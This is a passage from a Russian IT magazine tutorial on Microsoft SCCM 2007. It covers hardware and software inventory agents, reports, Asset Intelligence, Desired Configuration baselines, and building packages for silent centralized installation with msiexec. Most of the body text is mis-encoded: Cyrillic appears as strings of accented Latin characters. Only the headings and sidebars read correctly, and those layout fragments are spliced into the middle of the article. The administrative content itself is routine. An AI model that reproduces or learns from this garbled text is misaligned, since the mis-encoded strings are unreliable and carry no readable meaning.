åñòü ðèñê íàðóøåíèÿ áåçîïàñíîñòè.
Â íàñòðîéêàõ àãåíòà ïðîãðàììíîé èíâåíòà-
ðèçàöèè ÷óòü áîëüøå ïóíêòîâ. Òàê, âî âêëàä-

êå «Ñáîð äàííûõ èíâåíòàðèçàöèè» (Inventory 
Collection) óêàçûâàþòñÿ ðàñøèðåíèÿ ôàéëîâ 
è äåòàëèçàöèÿ îò÷åòîâ (ñâåäåíèÿ î ôàéëå, 
ïðîäóêòå). Ïî óìîë÷àíèþ íà óäàëåííîé ñèñ-
òåìå ïðîèçâîäèòñÿ ïîèñê èñïîëíÿåìûõ exe-

ôàéëîâ íà âñåõ æåñòêèõ äèñêàõ êîìïüþòåðà, 
èñêëþ÷åíèå ñîñòàâëÿþò ëèøü çàøèôðîâàí-
íûå è ñæàòûå ôàéëû. Ïðè íåîáõîäèìîñòè 

ëåãêî äîáàâèòü ëþáîé äðóãîé òèï ôàéëà è 
êðèòåðèè ïîèñêà. Âî âêëàäêå «Ñáîð ôàéëîâ» 

(File Collection) óêàçûâàþòñÿ òèïû ôàéëîâ, 
êîòîðûå áóäóò ñêîïèðîâàíû íà ñåðâåð. Àêòè-
âèðîâàòü ýòîò ïàðàìåòð íóæíî îñòîðîæíî è 
òîëüêî â òîì ñëó÷àå, åñëè ýòî äåéñòâèòåëüíî 
íåîáõîäèìî, òàê êàê ïåðåäà÷à ôàéëîâ ìîæåò 
ãåíåðèðîâàòü áîëüøîé òðàôèê. Âî âêëàäêå 
«Èíâåíòàðíûå èìåíà» (Inventory Names) 
çàäàþòñÿ íàçâàíèÿ ïðîäóêòîâ. Íàçíà÷åíèå 
ó íåå î÷åíü ïðîñòîå. Íàïðèìåð, â ðàçíûõ 
ïðîãðàììàõ ìîæåò áûòü çàïèñàí îäèí ïðî-
èçâîäèòåëü, íî ñî ñâîèìè ñîêðàùåíèÿìè 
— Microsoft, Microsoft Corp. è ò.ä. Â îò÷åòàõ 
ýòî áóäóò ðàçíûå îðãàíèçàöèè, ÷òî ñîçäàåò 
íåóäîáñòâà. Âîò â ýòîé âêëàäêå è  ìîæíî çà-

äàòü åäèíîå èìÿ äëÿ îò÷åòîâ. Íà êëèåíòñêîé 
ñèñòåìå íàñòðîéêè àãåíòà äîñòóïíû â «Ïà-
íåëè óïðàâëåíèÿ», ãäå ïîñëå åãî óñòàíîâêè 

ñîçäàåòñÿ íîâûé ïóíêò «Äèñïåò÷åð êîíôè-
ãóðàöèè» (Configuration Manager). Íàñòðîåê 
íåìíîãî. Òàê, ïåðåéäÿ âî âêëàäêó «Äåéñòâèÿ» 
(Actions), ìîæíî âðó÷íóþ èíèöèèðîâàòü òó 
èëè èíóþ ïðîöåäóðó, íàïðèìåð èíâåíòàðè-

çàöèè ñîôòà.
Ñîáðàííóþ àãåíòàìè èíôîðìàöèþ (òåêó-
ùóþ è èñòîðèþ) ìîæíî ïðîñìîòðåòü ñ ïî-

ìîùüþ «Îáîçðåâàòåëÿ ðåñóðñîâ» (Resource 
Explorer). Îí çàïóñêàåòñÿ èç êîíòåêñòíîãî 
ìåíþ «Çàïóñòèòü — Îáîçðåâàòåëü ðåñóðñîâ», 
âûçûâàåìîãî ïî ùåë÷êó íà âûáðàííîé ñèñ-
òåìå â ìåíþ «Êîëëåêöèè», èëè èç êîìàíäíîé 

ñòðîêè (resourceexplorer.msc). Îáîçðåâàòåëü 
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ñîäåðæèò òðè îñíîâíûõ âêëàäêè, íàçíà÷åíèå êîòîðûõ ïîíÿòíî èç 
íàçâàíèÿ: «Îáîðóäîâàíèå», «Æóðíàë îáîðóäîâàíèÿ», «Ïðîãðàììíîå 
îáåñïå÷åíèå». Ïðîñòî îòìå÷àåì íóæíûé ïóíêò è ïîëó÷àåì äàííûå.
Â SCCM ðåàëèçîâàíî áîëüøîå êîëè÷åñòâî îò÷åòîâ. Âñå îíè äîñòóïíû 
èç îäíîèìåííîé âêëàäêè, íàõîäÿùåéñÿ â «Óïðàâëåíèå êîìïüþòå-
ðîì». Äëÿ óäîáñòâà âûáîðà îò÷åòû ìîæíî îòñîðòèðîâàòü ïî ñòîëáöó 
«Êàòåãîðèè». Òåïåðü âûáèðàåì ëþáîé ïîäõîäÿùèé øàáëîí îò÷åòà. 
Íàïðèìåð, ìîæíî âûáðàòü «Êîìïüþòåðû ñ îïðåäåëåííûìè âèäåîà-
äàïòåðàìè» èëè «Êîìïüþòåðû ñ íåäîñòàòî÷íûì ñâîáîäíûì ìåñòîì 
íà äèñêàõ». ×òîáû ñôîðìèðîâàòü îò÷åò, ñëåäóåò âûáðàòü â êîíòåêñ-
òíîì ìåíþ ïóíêò «Çàïóñòèòü», ïîñëå ÷åãî â IE îòêðîåòñÿ ñòðàíè÷êà ñ 
ïîëíûì ðàñêëàäîì. Åñëè â ìåíþ òàêîé ïóíêò îòñóòñòâóåò, âåðîÿòíî, 
ðîëü ñàéòà «Òî÷êà ôîðìèðîâàíèÿ îò÷åòîâ» íå óñòàíîâëåíà. ×òîáû 
ïðîñìîòðåòü ñïèñîê ðîëåé è àêòèâèðîâàòü íóæíûå, ïåðåõîäèì â «Ïà-
ðàìåòðû ñàéòà — Ñèñòåìû ñàéòà» è âûáèðàåì â ñïèñêå ñàéò. Â îêíå 
êîíñîëè áóäóò ïîêàçàíû âñå ðîëè, êîòîðûå âûïîëíÿåò ñàéò. Äëÿ äîáàâ-
ëåíèÿ ðîëè èñïîëüçóåì ññûëêó «Íîâàÿ ðîëü» è â îêíå ìàñòåðà ïðîñòî 
îòìå÷àåì åå ôëàæêîì. Âîçìîæíîñòè èíâåíòàðèçàöèè îáîðóäîâàíèÿ 

è ÏÎ ðàñøèðÿåò ôóíêöèÿ «Àíàëèòèêè àêòèâîâ» (Asset Intelligence) 
(ðàíåå — «Óïðàâëåíèå ðåñóðñàìè»), ïðèçâàííàÿ óïðîñòèòü óïðàâëå-
íèå ëèöåíçèÿìè è èñïîëüçóåìûì ÏÎ. Ïîñëå åå àêòèâàöèè óâåëè÷èâà-

åòñÿ äèàïàçîí ñîáèðàåìûõ äàííûõ, çà ñ÷åò ÷åãî ïîëó÷àåì áîëåå 50-òè 
íîâûõ ñâÿçàííûõ ìåæäó ñîáîé îò÷åòîâ.
Ðàíåå äëÿ âêëþ÷åíèÿ «Àíàëèòèêè àêòèâîâ» íóæíî áûëî ïðàâèòü ôàéë 
SMS_def.mof. Íà÷èíàÿ ñ SP1, ýòà ôóíêöèÿ àêòèâèðóåòñÿ èç êîíñîëè 
SCCM. Ïîñëå âûáîðà â êîíòåêñòíîì ìåíþ ïóíêòà «Âêëþ÷èòü àíàëè-

òèêó àêòèâîâ» ïîÿâèòñÿ çàïðîñ íà âêëþ÷åíèå äîïîëíèòåëüíûõ êëàñ-
ñîâ îò÷åòîâ èíâåíòàðèçàöèè. Íåîáõîäèìî çàäàòü õîòÿ áû îäèí èç íèõ. 
Ïîäðîáíóþ èíôîðìàöèþ î äîñòóïíûõ êëàññàõ ìîæíî ïî÷åðïíóòü â äî-

êóìåíòàöèè TechNet (technet.microsoft.com/ru-ru/library/cc161933.
aspx). Íàïðèìåð, SMS_AutoStartSoftware îòñëåæèâàåò âñå ïðîãðàì-
ìû, çàïóñêàþùèåñÿ âìåñòå ñ ÎÑ.

Ñîáðàííûå äàííûå ìîæíî ïðîñìîòðåòü â ïîäìåíþ «Îò÷åòû àíàëèòè-
êè àêòèâîâ» è â ìåíþ «Îò÷åòû».
Åùå îäíà ôóíêöèÿ, êîòîðàÿ ðàñøèðÿåò âîçìîæíîñòè àãåíòîâ èíâåí-

òàðèçàöèè — «Êîíòðîëü èñïîëüçîâàíèÿ ïðîãðàììíûõ ïðîäóêòîâ». 
Îíà ïîçâîëÿåò ïðîâîäèòü íàáëþäåíèå è ñîáèðàòü äàííûå î ïðî-
ãðàììàõ, óñòàíîâëåííûõ íà êëèåíòàõ. Ñáîð äàííûõ ïðîèçâîäèòñÿ 
íà îñíîâå ïðàâèë, çàäàâàåìûõ àäìèíèñòðàòîðîì, ïîñëå ïîëó÷åíèÿ 
îò àãåíòîâ èíôîðìàöèè. Íà èõ îñíîâå ìîæíî ñîçäàâàòü êîëëåêöèè è 
ïîëó÷àòü ðàçëè÷íûå îò÷åòû. Íàïðèìåð, àäìèí ëåãêî ìîæåò óçíàòü, 
ñêîëüêî êîïèé îïðåäåëåííîé ïðîãðàììû óñòàíîâëåíî íà êëèåíòñêèõ 
ñèñòåìàõ.

УПРАВЛЕНИЕ ТРЕБУЕМОЙ КОНФИГУРАЦИЕЙ «Óïðàâëåíèå òðåáó-
åìîé êîíôèãóðàöèåé» (Desired Configuration) — î÷åðåäíàÿ èíòåðåñ-
íàÿ âîçìîæíîñòü SCCM. Ýòà ôóíêöèÿ ïîçâîëÿåò îöåíèòü ñîîòâåòñ-
òâèå ïàðêà ñèñòåì ðÿäó óñëîâèé, êîòîðûå çàäàåò àäìèíèñòðàòîð 
— àïïàðàòíàÿ ÷àñòü, âåðñèÿ ÎÑ, íàëè÷èå îáíîâëåíèé è ñåðâèñ-ïà-
êîâ, ïàðàìåòðû çàùèòû, óñòàíîâëåííûå ïðèëîæåíèÿ (è ïðàâèëüíî 
ëè îíè ñêîíôèãóðèðîâàíû), íàñòðîéêè ðååñòðà, íàëè÷èå ôàéëîâ è 
êàòàëîãîâ è ò.ä. Â òåðìèíîëîãèè SCCM òàêèå ñîñòàâëÿþùèå, ïî êî-

òîðûì ïðîèçâîäèòñÿ ïðîâåðêà, íàçûâàþòñÿ «Ýëåìåíòàìè êîíôè-
ãóðàöèè» (Configuration Items). Ñâåðêà ïðîèçâîäèòñÿ ñ øàáëîííûì 
ïîêàçàòåëåì êîíôèãóðàöèè («Áàçîâûå ïîêàçàòåëè êîíôèãóðàöèè», 
Configuration Baseline), êîòîðûé ñîñòîèò èç ýëåìåíòîâ è ìîæåò áûòü 
ñîçäàí ñ ýòàëîííîé ñèñòåìû, ïîëó÷åí îò ïîñòàâùèêà ÏÎ èëè äðó-

ãîãî ðåñóðñà â èíòåðíåòå. Ê ïðèìåðó, ïî àäðåñó go.microsoft.com/
fwlink/?LinkId=71837 íàõîäèòñÿ àðõèâ ñ áåñïëàòíûìè øàáëîíàìè. 
Ïðèìåíèâ øàáëîí, êëèåíò, ñâåðèâøèñü ñ íàáîðîì ïîêàçàòåëåé, îò-
ïðàâëÿåò íà ñàéò SCCM îò÷åò. Â ðåçóëüòàòå , àäìèíèñòðàòîð ìîæåò 
óçíàòü, êàêîé èç êîìïîíåíòîâ ñèñòåìû íå ñîîòâåòñòâóåò òðåáóåìîé 
êîíôèãóðàöèè.

Çà÷åì ýòî ìîæåò ïîíàäîáèòüñÿ? Íàïðèìåð, íóæíî ðàçâåðíóòü íà 
ðàáî÷èõ ñòàíöèÿõ íîâîå ÏÎ, ê êîòîðîìó ðàçðàáîò÷èêè ïðåäúÿâëÿþò 
æåñòêèå òðåáîâàíèÿ. Àäìèíèñòðàòîð ñîçäàåò Baseline è ïðèìåíÿåò 

åãî ê îïðåäåëåííîé êîëëåêöèè. Ìû ïîëó÷àåì ÷åòêîå ïðåäñòàâëåíèå, 
íà êàêèõ ñèñòåìàõ ìîæíî ðàçâåðíóòü ïðîãðàììó, à íà êàêèõ íåò, è ÷òî 
èìåííî è íàñêîëüêî íå ñîîòâåòñòâóåò «íîðìå».
Íàñòðîéêà øàáëîíà Desired Configuration ïðîèçâîäèòñÿ â îäíîèìåí-
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íîì ïîäìåíþ â ðàçäåëå «Óïðàâëåíèå êîìïüþòåðîì» 
(Computer Management). Çäåñü äâå âåòêè — «Ýëåìåíòû 
êîíôèãóðàöèè» è «Áàçîâûå ïîêàçàòåëè êîíôèãóðàöèè». 
Âíà÷àëå íåîáõîäèìî ñîçäàòü ýëåìåíòû. Ïåðåõîäèì â 
«Ýëåìåíòû êîíôèãóðàöèè», ãäå íàæèìàåì ññûëêó äëÿ 
ñîçäàíèÿ íîâîãî äîêóìåíòà è âûáèðàåì îäèí èç ïîäïóí-
êòîâ â ñîîòâåòñòâèè ñ çàäà÷àìè — Applications («Ïðè-
ëîæåíèÿ»), General («Îáùàÿ»), Operating System («ÎÑ»). 
Ïîñëå âûáîðà ëþáîãî ïóíêòà ïîÿâèòñÿ ìàñòåð íàñòðîé-
êè. Äëÿ ïðèìåðà âûáåðåì «Ýëåìåíò êîíôèãóðàöèè 
ïðèëîæåíèÿ». Ââîäèì íàçâàíèå è îïèñàíèå ýëåìåíòà. 
Íàæàâ êíîïêó «Êàòåãîðèÿ», ìîæíî íàçíà÷èòü ìåòêó äëÿ 
óïðîùåíèÿ îòáîðà è ïîèñêà ïðè áîëüøîì êîëè÷åñòâå 
ýëåìåíòîâ. Óêàçûâàåì îáúåêòû è ïàðàìåòðû, âêëþ÷à-
åìûå â ýëåìåíò êîíôèãóðàöèè. Ïîñëå ýòîãî îòìå÷àåì 
âåðñèè ÎÑ, ê êîòîðûì ìîæíî ïðèìåíèòü ýòè ýëåìåíòû 

êîíôèãóðàöèè, è ïðè íåîáõîäèìîñòè àêòèâèðóåì ôëà-
æîê âíèçó îêíà «Ýòî ïðèëîæåíèå ðàáîòàåò òîëüêî íà 64-

ðàçðÿäíûõ êîìïüþòåðàõ». Ïðîñìàòðèâàåì íàñòðîéêè 
åùå ðàç è âûïîëíÿåì èõ. Íàñòðîéêè â äâóõ îñòàëüíûõ 

ïóíêòàõ ïðîèçâîäÿòñÿ ïî àíàëîãèè. Åñëè åñòü ïîäãîòîâ-
ëåííûé ïàêåò íàñòðîéêè ðåêîìåíäàöèé, ïîñòàâëÿåìûé 

â ôîðìàòå cab (ôàéë msi ñëåäóåò ñíà÷àëà óñòàíîâèòü), 
åãî ìîæíî èìïîðòèðîâàòü, âûáðàâ ïóíêò «Èìïîðò êîí-

ôèãóðàöèîííûõ äàííûõ». Çàòåì ïðè ïîìîùè ìàñòåðà 
ïðîñòî óêàçûâàåì íà ðàñïîëîæåíèå cab-ôàéëà è íàæè-
ìàåì êíîïêó «Ãîòîâî». ×òîáû ïðîñìîòðåòü èëè èçìå-

íèòü íàñòðîéêè, âûáèðàåì ýëåìåíò; êðîìå ýòîãî, áóäóò 
äîñòóïíû ïóíêòû, ïîçâîëÿþùèå ñîçäàòü äî÷åðíèé ýëå-
ìåíò (êîïèþ), ïðîñìîòðåòü XML-ïðåäñòàâëåíèå, èçìå-
íèòü êàòåãîðèþ è ïåðåìåñòèòü ýëåìåíòû.
Òåïåðü ïåðåõîäèì â «Áàçîâûå ïîêàçàòåëè êîíôèãóðà-

öèè», ãäå âûáèðàåì ññûëêó «Íîâûå áàçîâûå ïîêàçàòåëè 
êîíôèãóðàöèè». Íà ïåðâîì øàãå çàïîëíÿåì íàçâàíèå è 
îïèñàíèå, âûáèðàåì êàòåãîðèþ. Âòîðîé øàã ÿâëÿåòñÿ 

îñíîâíûì. Çäåñü, íàæèìàÿ ññûëêè, óêàçûâàåì óñëîâèÿ 
ñðàâíåíèÿ, ñîñòîÿùèå èç ñîçäàííûõ ðàíåå ýëåìåíòîâ 
êîíôèãóðàöèè. Óñëîâèÿ ðàçáèòû íà ïîäãðóïïû: OC, ïðè-
ëîæåíèÿ è îáùèå íàñòðîéêè, îáíîâëåíèÿ è ðàçëè÷íûå èõ 
êîìáèíàöèè. Îòìåòèâ âñå, ÷òî íåîáõîäèìî, íàæèìàåì 

«Ãîòîâî». Îñòàëîñü ïðèìåíèòü ñîçäàííóþ êîíôèãóðà-
öèþ íà îäíó èç êîëëåêöèé: îòìå÷àåì Baseline è âûáèðàåì 
ññûëêó «Íàçíà÷èòü ê êîëëåêöèè» (Assign to a Collection). 

Ïîÿâèòñÿ î÷åðåäíîé ìàñòåð. Âûáèðàåì íóæíûå Baseline 
è çàòåì â ñïèñêå êîëëåêöèþ, ê êîòîðîé áóäåì íàçíà÷àòü. 
Çàêëþ÷èòåëüíûé ýòàï: çàäàåì ðàñïèñàíèå è íàæèìàåì 
«Ãîòîâî». ×åðåç íåêîòîðîå âðåìÿ â îêíå «Óïðàâëåíèå òðå-
áóåìîé êîíôèãóðàöèåé» íà÷íóò ïîÿâëÿòüñÿ îò÷åòû.
Íàñòðîéêè àãåíòà Desired Configuration ìîæíî ïðî-
ñìîòðåòü â «Àãåíòû êëèåíòà — Àãåíò êëèåíòà óïðàâëå-
íèÿ òðåáóåìîé êîíôèãóðàöèåé» (Desired Configuration 
Management Client Agent). Â ñâîéñòâàõ âñåãî îäíà âêëàä-
êà, ãäå ìîæíî àêòèâèðîâàòü/äåàêòèâèðîâàòü ýòó ôóíê-
öèþ è óñòàíîâèòü ðàñïèñàíèå. Ïî óìîë÷àíèþ ïðîâåðêà 
ïðîèçâîäèòñÿ ðàç â íåäåëþ.
Ïîäðîáíåå î Desired Configuration ìîæíî óçíàòü â äîêó-
ìåíòàõ TechNet (technet.microsoft.com/ru-ru/library/
bb680553.aspx).

ЦЕНТРАЛИЗОВАННАЯ УСТАНОВКА ПРИЛОЖЕНИЙ Áëà-
ãîäàðÿ çàðàíåå ïîäãîòîâëåííûì ïàêåòàì è èíòóèòèâíûì 

ñðåäñòâàì óäàëåííîãî ðàçâåðòûâàíèÿ SCCM, ìàññîâàÿ 
óñòàíîâêà êëèåíòñêèõ ïðîãðàìì îñóùåñòâëÿåòñÿ â ñ÷è-

òàííûå ìèíóòû. Ýòî ïîçâîëèò ñóùåñòâåííî ñíèçèòü íà-
ãðóçêó íà IT-îòäåë. Ðàññìîòðèì ñöåíàðèé ïîäðîáíåå.

Ïåðåä íà÷àëîì ðàçâåðòûâàíèÿ ïðîãðàììû ñëåäóåò 
ñîçäàòü ïàêåò, êîòîðûé áóäåò ñîäåðæàòü âñå íåîá-

õîäèìîå äëÿ óñòàíîâêè íà óäàëåííîé ñèñòåìå, â òîì 
÷èñëå è ñàì äèñòðèáóòèâ ïðîãðàììû. Äëÿ ýòîãî ïåðå-

õîäèì â «Óïðàâëåíèå êîìïüþòåðîì — Ðàñïðîñòðàíå-
íèå ïðîãðàììíîãî îáåñïå÷åíèÿ — Ïàêåòû» (Software 
Distribution — Package). Â ïîÿâèâøåìñÿ îêíå ïóñòî, 
òàê êàê ãîòîâûõ ïàêåòîâ ìû åùå íå ñîçäàëè. Íàæèìàåì 
ññûëêó «Íîâûé äîêóìåíò» è âûáèðàåì èç ñïèñêà Ïàêåò. 

Íà ïåðâîì øàãå ìàñòåðà çàïîëíÿåì ñâîéñòâà ïàêåòà 
(íàçâàíèå, âåðñèÿ, ïðîèçâîäèòåëü, îïèñàíèå). Ðåêî-
ìåíäóåòñÿ óêàçûâàòü âñå ïîëÿ, — óïðîùàåò ïîèñê è îá-

íîâëåíèå. Íà ñëåäóþùåì øàãå ïðè ïîìîùè ôàéëîâîãî 
ìåíåäæåðà îòìå÷àåì êàòàëîã, â êîòîðîì ðàñïîëîæåí 
äèñòðèáóòèâ ïðîãðàììû. Ýòî ìîæåò áûòü ñåòåâàÿ ïàï-
êà èëè ëîêàëüíûé äèñê. Äîïîëíèòåëüíûå ïàðàìåòðû 
ïîçâîëÿþò èçìåíèòü ðàñïèñàíèå äëÿ òî÷åê îáíîâëå-

íèÿ, ðàçðåøèòü õðàíèòü ïàêåò â êëèåíòñêîì êýøå, à 
òàêæå çàäàòü èñïîëüçîâàíèå ðàçíîñòíîé ðåïëèêàöèè. 
Äàëüíåéøèå øàãè (äîñòóï ê ïàïêå ðàñïðîñòðàíåíèÿ, 

ïàðàìåòðû ðàñïðîñòðàíåíèÿ (ïðèîðèòåò, ðàñïðîñòðà-
íèòåëü), îò÷åòû è ïðàâà äîñòóïà) ìîæíî ïðîïóñòèòü, 
îñòàâèâ çíà÷åíèÿ ïî óìîë÷àíèþ, äëÿ ÷åãî ïðîñòî íà-
æèìàåì «Ãîòîâî».

АКТИВИРУЕМ АГЕНТА ИНВЕНТАРИЗАЦИИ ОБОРУДОВАНИЯ

ПОСЛЕ УСТАНОВКИ АГЕНТА НА КЛИЕНТ-
СКУЮ СИСТЕМУ ЕГО НАСТРОЙКИ ДОСТУПНЫ 
В «ПАНЕЛИ УПРАВЛЕНИЯ»

• Подробнее о 
Desired Configuration 
можно узнать в 
TechNet — technet.
microsoft.com/ru-ru/
library/bb680553.
aspx.

• Рекомендации 
по автоматической 
установке программ 
— technet.microsoft.
com/ru-ru/library/
bb693561.aspx.

links
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Ñîçäàííûé ïàêåò ñòàíîâèòñÿ äîñòóïíûì êàê ïîääåðåâî 
ìåíþ «Ïàêåòû». Åñëè åãî ðàçâåðíóòü, ïîëó÷èì äîñòóï 
ê íåñêîëüêèì ïîäïóíêòàì: «Ó÷åòíûå çàïèñè äîñòóïà», 
«Òî÷êè ðàñïðîñòðàíåíèÿ», «Ïðîãðàììû», «Ñîñòîÿíèÿ 
ïàêåòà». Õîòÿ ïàêåò óæå ñîäåðæèò âñå ôàéëû è ñâåäåíèÿ, 
íåîáõîäèìûå äëÿ ïðèìåíåíèÿ íà êëèåíòñêèõ êîìïüþòå-
ðàõ, ñàì ñïîñîá èñïîëüçîâàíèÿ ïðèëîæåíèÿ îïðåäåëÿ-
åòñÿ ïðîãðàììîé. Â ïðîãðàììå îïèñàíû äåéñòâèÿ, âû-
ïîëíÿåìûå íà êëèåíòå ïîñëå ïîëó÷åíèÿ ïàêåòà. Êàæäûé 
ïàêåò äîëæåí ñîäåðæàòü, êàê ìèíèìóì, îäíó ïðîãðàììó, 
íî àäìèíèñòðàòîð ìîæåò ñîçäàòü ëþáîå êîëè÷åñòâî ïðî-
ãðàìì äëÿ ïàêåòà (íàïðèìåð, äëÿ óñòàíîâêè ïàêåòà â ðàç-
íûõ ÎÑ). Âûáèðàåì ïîäïóíêò «Ïðîãðàììû», íàæèìàåì 
«Íîâûé äîêóìåíò  Ïðîãðàììà». Ïîÿâëÿåòñÿ î÷åðåäíîé 
ìàñòåð, çàïîëíÿåì âñå ïðåäëîæåííûå ïîëÿ (èìÿ, êîì-
ìåíòàðèé, ðåæèì çàïóñêà, äåéñòâèå ïîñëå âûïîëíåíèÿ 
è ò.ä.). Îñîáîå âíèìàíèå óäåëè ïóíêòó «Êîìàíäíàÿ ñòðî-
êà», âåäü â áîëüøèíñòâå ñëó÷àåâ óñòàíîâêà äîëæíà ïðî-
õîäèòü â òèõîì ðåæèìå, áåç âìåøàòåëüñòâà ïîëüçîâàòå-
ëÿ. Çäåñü âñå çàâèñèò îò îñîáåííîñòåé óñòàíàâëèâàåìîé 
ïðîãðàììû. Íàïðèìåð, åñëè óñòàíîâêà ïðîèçâîäèòñÿ 
ïðè ïîìîùè msiexec, ìîæíî âïèñàòü òàê:

msiexec /I install.msi /quiet /qn

Äëÿ ñëîæíûõ ïðîãðàìì ïîíàäîáèòñÿ ñîçäàòü ôàéë îòâå-
òîâ. Íåêîòîðûå ðåêîìåíäàöèè ïî àâòîìàòè÷åñêîé óñòà-
íîâêå ìîæíî íàéòè â äîêóìåíòå technet.microsoft.com/
ru-ru/library/bb693561.aspx.
Ñëåäóþùèé øàã ìàñòåðà ïîçâîëÿåò óêàçàòü òðåáîâàíèÿ 
ê ñèñòåìå — íàëè÷èå ñâîáîäíîãî ìåñòà íà äèñêå, ìàêñè-
ìàëüíîå âðåìÿ âûïîëíåíèÿ, ïîääåðæèâàåìûå ïëàòôîð-
ìû. Äàëåå îòìå÷àåì óñëîâèÿ äëÿ çàïóñêà. Ýòî ìîæåò áûòü 

çàïóñê ïîñëå âõîäà ïîëüçîâàòåëÿ â ñèñòåìó, èëè ïîêà íèê-
òî íå çàðåãèñòðèðîâàí. Çàäàåì ïðàâà, ñ êîòîðûìè áóäåò 
çàïóùåíà ïðîãðàììà: òåêóùèé ïîëüçîâàòåëü ëèáî àäìè-
íèñòðàòîð. Åñëè âûáðàí ïåðâûé âàðèàíò, ïîëüçîâàòåëü 
íà óäàëåííîé ñèñòåìå ìîæåò âëèÿòü íà ïðîöåññ óñòàíîâ-
êè. Â ïîëå «Ðåæèì äèñêà» (Drive mode) óêàçûâàåì ìåòîä 
äîñòóïà ê òî÷êå ðàñïðîñòðàíåíèÿ ïðîãðàììû: UNC-ïóòü 
èëè ïîäêëþ÷åíèå ñåòåâîãî äèñêà. Øàã «Äîïîëíèòåëüíî» 
ïîçâîëÿåò çàäàòü äîïîëíèòåëüíûå êðèòåðèè äëÿ çàïóñêà 

ОБОРУДОВАНИЕ И УСТАНОВЛЕННОЕ ПО ОТДЕЛЬНОЙ МАШИНЫ МОЖНО УЗНАТЬ 
ПРИ ПОМОЩИ RESOURCE EXPLORER

АКТИВАЦИЯ ФУНКЦИИ «АНАЛИТИКА АКТИВОВ» ДОБАВИТ 
ЕЩЕ БОЛЕЕ 50-ТИ ОТЧЕТОВ

info
• Внедрение SCCM 
2007 позволит IT-
отделам сократить 
время на обслужива-
ние новых приложе-
ний, рабочих станций 
и серверов.

• Подробнее об 
WDS читай в статье 
«Ставим Windows по 
сети», опубликован-
ной в июньском номе-
ре z за 2007 год.

• Как использовать 
WAIK для создания 
WIM-образов, читай 
в статье «Самосбор-
ные окна» в январс-
ком номере z за 2009 
год.

•Обзор возмож-
ностей SCCM 2007, 
установка сайта и 
распространение 
агентов смотри в 
статье «Начальник 
сети» в августовском 
номере z за 2009 
год.
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ïðîãðàììû. Íàïðèìåð, äëÿ ðàáîòû îäíîé ïðîãðàììû òðåáóåòñÿ, ÷òî-
áû â ñèñòåìå áûëà óñòàíîâëåíà äðóãàÿ ïðîãðàììà èëè áèáëèîòåêà. 
Âîò çäåñü è îòìå÷àåì, ÷òî íóæíî ïðîâåðèòü è ïðè íåîáõîäèìîñòè 
óñòàíîâèòü. Äîïîëíèòåëüíûå ôëàæêè ïîçâîëÿþò îòêëþ÷èòü óâåäîì-
ëåíèÿ ïðîãðàììû; ôëàæîê «Disable this program on computers where 
it is advertised» ñêðîåò ïðîãðàììó èç îñíàñòêè «Óñòàíîâêà è óäàëåíèå 
ïðîãðàìì». Çàòåì ìîæåì óêàçàòü ôàéë è êîä óñòàíîâùèêà Windows 
(GUID), êîòîðûé ÿâëÿåòñÿ ãëàâíûì èäåíòèôèêàòîðîì ïðèëîæåíèÿ 
(ïðåäíàçíà÷åí äëÿ óñòàíîâêè/óäàëåíèÿ ñ ïîìîùüþ msi). Íàæèìàåì 
«Ãîòîâî», — ïðîãðàììà ñîçäàíà. Ìîæíî âûçâàòü îêíî ñâîéñòâ è èçìå-
íèòü îñíîâíûå íàñòðîéêè ïðèëîæåíèÿ.
Äëÿ õðàíåíèÿ èñõîäíûõ ôàéëîâ èñïîëüçóþòñÿ òî÷êè ðàñïðîñòðàíå-
íèÿ, êîòîðûì è íóæíî îòïðàâèòü íîâûé ïàêåò. Ïåðåõîäèì â ìåíþ 
«Óïðàâëåíèå òî÷êàìè ðàñïðîñòðàíåíèÿ». Òàê êàê ïîêà íè îäíîé òî÷êè 
ó íàñ íåò, âûáèðàåì â êîíòåêñòíîì ìåíþ «Íîâûå òî÷êè ðàñïðîñòðà-
íåíèÿ» è äåéñòâóåì ïî ïîäñêàçêàì ìàñòåðà. Ñîáñòâåííî, îñíîâíîé 

øàã îäèí — «Êîïèðîâàíèå ïàêåòà», â êîòîðîì ñëåäóåò îòìåòèòü íàø 
SCCM-ñàéò. Ïîñëå êîïèðîâàíèÿ ïàêåòà ïîëó÷àåì îò÷åò. Òåïåðü íóæ-

íî ñäåëàòü òàê, ÷òîáû êëèåíòû íà óäàëåííûõ ñèñòåìàõ óçíàëè î íîâîé 
ïðîãðàììå. ×åðåç êîíòåêñòíîå ìåíþ, âûçûâàåìîå ïðè ùåë÷êå ïî íà-

øåé ïðîãðàììå, âûáèðàåì ïóíêò «Ðàñïðîñòðàíåíèå  Ïðîãðàììíîå 
îáåñïå÷åíèå» (Distribute  Software). Çàïóñòèâøèéñÿ ìàñòåð ðàñ-

ïðîñòðàíåíèÿ ïàêåòîâ ñíîâà ïðåäëîæèò îòìåòèòü òî÷êè ðàñïðîñòðà-
íåíèÿ. Äàëåå äîñòàòî÷íî óáåäèòüñÿ, ÷òî ìû âûáðàëè èìåííî òó ïðî-

ãðàììó, è ÷òî àêòèâèðîâàí ïàðàìåòð, ðàçðåøàþùèé åå îáúÿâëåíèå. 
Íàêîíåö, âûáèðàåì èëè ñîçäàåì êîëëåêöèþ, äëÿ êîòîðîé íóæíî îáú-
ÿâèòü î ïðîãðàììå, óêàçûâàåì îïèñàíèå è âëîæåííóþ êîëëåêöèþ. 

Ïðè âûáîðå ðàñïèñàíèÿ îáúÿâëåíèÿ óêàçûâàåòñÿ äàòà, ñ êîòîðîé 
äîëæíà áûòü äîñòóïíà ïðîãðàììà, è îïöèîíàëüíî ñðîê îêîí÷àíèÿ 
ðàñïðîñòðàíåíèÿ ïðîãðàììû. Ýòàï íàçíà÷åíèÿ ïðîãðàììû ïîçâî-
ëÿåò ñäåëàòü åå îáÿçàòåëüíîé. Çäåñü ìîæíî óêàçàòü äàòó, êîãäà áó-
äåò ïðîèçâîäèòüñÿ îáÿçàòåëüíàÿ óñòàíîâêà, è òàêèå ïàðàìåòðû, êàê 

âêëþ÷åíèå õîñòîâ ïî WakeOnLan, ðàçðåøåíèå ïåðåçàïóñêà ñèñòåìû, 
èãíîðèðîâàíèå îêîí îáñëóæèâàíèÿ. ×åðåç íåêîòîðîå âðåìÿ êëèåíò 
ñêà÷àåò ïðîãðàììó è íà÷íåò óñòàíîâêó. Â çàâèñèìîñòè îò íàñòðîåê, 

ïîëüçîâàòåëü ïîëó÷àåò ïðåäóïðåæäåíèå â âèäå çíà÷êà è Pop-up ñîîá-
ùåíèÿ î äîñòóïíîñòè íîâîé ïðîãðàììû. Åñëè ùåëêíóòü ïî çíà÷êó, 
